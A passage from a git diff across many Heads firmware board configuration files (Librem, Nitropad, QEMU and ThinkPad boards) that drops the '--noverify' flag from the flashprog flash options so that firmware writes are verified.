CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_15v3/librem_15v3.config b/boards/librem_15v3/librem_15v3.config index 45d42b5dd..77db0afbd 100644 --- a/boards/librem_15v3/librem_15v3.config +++ b/boards/librem_15v3/librem_15v3.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v3" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_15v4/librem_15v4.config b/boards/librem_15v4/librem_15v4.config index ebe86ad5d..c8674f734 100644 --- a/boards/librem_15v4/librem_15v4.config +++ b/boards/librem_15v4/librem_15v4.config @@ -37,7 +37,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem 15 v4" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um/librem_l1um.config b/boards/librem_l1um/librem_l1um.config index 176e76665..81627f08a 100644 --- a/boards/librem_l1um/librem_l1um.config +++ b/boards/librem_l1um/librem_l1um.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_KERNEL_ADD="intel_iommu=on" export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOARD_NAME="Librem Server L1UM" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_l1um_v2/librem_l1um_v2.config b/boards/librem_l1um_v2/librem_l1um_v2.config index 20383a8a0..8564a0409 100644 --- a/boards/librem_l1um_v2/librem_l1um_v2.config +++ b/boards/librem_l1um_v2/librem_l1um_v2.config @@ -40,7 +40,7 @@ export CONFIG_BOOT_KERNEL_REMOVE="plymouth.ignore-serial-consoles" export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOARD_NAME="Librem Server L1UM v2" export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_ROOT_DEV="/dev/nvme0n1p2" export CONFIG_ROOT_DIRLIST="bin boot lib sbin usr" diff --git a/boards/librem_mini/librem_mini.config b/boards/librem_mini/librem_mini.config index e5682237e..6b1a9c552 100644 --- a/boards/librem_mini/librem_mini.config +++ b/boards/librem_mini/librem_mini.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/librem_mini_v2/librem_mini_v2.config b/boards/librem_mini_v2/librem_mini_v2.config index ddf842457..241842126 100644 --- a/boards/librem_mini_v2/librem_mini_v2.config +++ b/boards/librem_mini_v2/librem_mini_v2.config @@ -36,7 +36,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="" export CONFIG_BOARD_NAME="Librem Mini v2" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_USB_KEYBOARD_REQUIRED=y export CONFIG_AUTO_BOOT_TIMEOUT=5 export CONFIG_ROOT_DEV="/dev/nvme0n1p2" diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index 9e0cc8f6c..038e169f7 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NS50" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index 2cde8edc5..b669aae37 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -68,5 +68,5 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Nitropad NV41" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 3d4c6f491..b2a46559f 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index 8efd409ea..1690918db 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm1" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index 6997d5229..f23fd7b09 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index e6c990ba1..fbb1b5e45 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-fbwhiptail-tpm2" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index be6a9c90a..e8f7fb839 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -91,7 +91,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 481b06a4d..929b5a5a3 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm1" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index 88cac3da7..b1fe068fc 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -90,7 +90,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2-hotp" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 59328efdd..1c42f6f70 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -89,7 +89,7 @@ export CONFIG_BOOT_RECOVERY_SERIAL="/dev/ttyS0" export CONFIG_BOOT_KERNEL_ADD="console=ttyS0 console=tty systemd.zram=0" export CONFIG_BOOT_KERNEL_REMOVE="quiet rhgb splash" export CONFIG_BOARD_NAME="qemu-coreboot-whiptail-tpm2" -#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +#export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #export CONFIG_AUTO_BOOT_TIMEOUT=5 BOARD_TARGETS := qemu diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 12a0a079b..89259f921 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 9b5d99000..8332c8a78 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 6aabadb8c..3d3c1da47 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 6f0eeef9a..2fabc2da7 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -64,7 +64,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 91f81afbf..756ab46b3 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad T440p-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index ecd1ad778..119b0a17b 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index ca3021c70..40350d0cd 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 84e28cc33..22c6e37c9 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index 503993dbb..60b7e726b 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 47db58626..91a95448d 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad W541-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index a229bd990..572524b2c 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index fb8f87429..81a36fcfb 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS += xx20_me_blobs diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/boards/x230-hotp-legacy/x230-hotp-legacy.config index 831526ac6..3d3a78e76 100644 --- a/boards/x230-hotp-legacy/x230-hotp-legacy.config +++ b/boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index fc30aeefb..887bd03d7 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -78,7 +78,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized-eDP" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index ef9733897..2dc8af490 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -80,7 +80,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index ca4f8c66c..2139c5a59 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized_usb-kb" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-legacy-flash/x230-legacy-flash.config b/boards/x230-legacy-flash/x230-legacy-flash.config index 0d53ed55c..1ffaec0d9 100644 --- a/boards/x230-legacy-flash/x230-legacy-flash.config +++ b/boards/x230-legacy-flash/x230-legacy-flash.config @@ -29,7 +29,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad X230-legacy-flash" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/boards/x230-legacy/x230-legacy.config b/boards/x230-legacy/x230-legacy.config index 581877020..972b7556a 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/boards/x230-legacy/x230-legacy.config @@ -55,7 +55,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index cce09eada..f7f930bcc 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -77,7 +77,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized-eDP" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --noverify" +export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 736712b7f..86c2364fd 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config 